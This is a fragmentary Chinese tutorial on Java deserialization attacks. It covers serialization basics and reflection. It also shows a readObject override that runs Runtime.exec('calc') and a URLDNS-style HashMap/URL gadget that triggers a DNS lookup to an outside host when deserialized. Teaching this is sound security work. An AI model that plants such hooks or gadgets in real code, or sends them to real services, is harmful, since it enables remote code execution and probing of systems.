import java.io.Serializable; //必须继承Serializable接口才可被序列化 public class Person implements Serializable { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public Person() { } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果
public static void main(String[] args) { Person person = new Person("aa",22); System.out.println(person); }
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }tips:
3.transient标识的对象成员变量是不可以被序列化的
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用。
3.通过Class类创建对象,引入不能序列化的类
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class ReflectionTest { public static void main(String[] args) throws Exception { Person person = new Person(); Class c = person.getClass(); //反射就是操作Class //从原型class里面实例化对象 //c.newInstance(); 无参,无法使用 Constructor personconstructor = c.getConstructor(String.class,int.class); Person p = (Person) personconstructor.newInstance("abc",22); System.out.println(p); //获取类里面的属性 //c.getFields();只能打印public的属性 //c.getDeclaredFields()都可以打印 Field[] personfields = c.getDeclaredFields(); for (Field f:personfields){ System.out.println(f); } //获取单个 Field namefield = c.getField("name"); namefield.set(p,"testedit");//需要一个示例 System.out.println(p); //修改私有变量 Field agefield = c.getDeclaredField("age"); agefield.setAccessible(true);//允许访问私有变量 agefield.set(p,33); System.out.println(p); //调用类里面的方法 Method[] personMethods = c.getDeclaredMethods(); for(Method m:personMethods){ System.out.println(m); } //获取单个方法 Method actionmethod = c.getMethod("action",String.class); actionmethod.invoke(p,"testaction");//调用触发 } }
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class SerializationTest { public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception { // Person person = new Person("aa",22); // System.out.println(person); // serialize(person); HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); //一开始不能发起请求 //把url对象的hashcode改成不是-1 URL url = new URL("https://www.duidaima.com"); Class c = url.getClass(); Field hashcode = c.getDeclaredField("hashCode"); hashcode.setAccessible(true); hashcode.set(url,1); hashMap.put(url,1); //现在可以把hashcode给改回来 hashcode.set(url,-1); serialize(hashMap); } }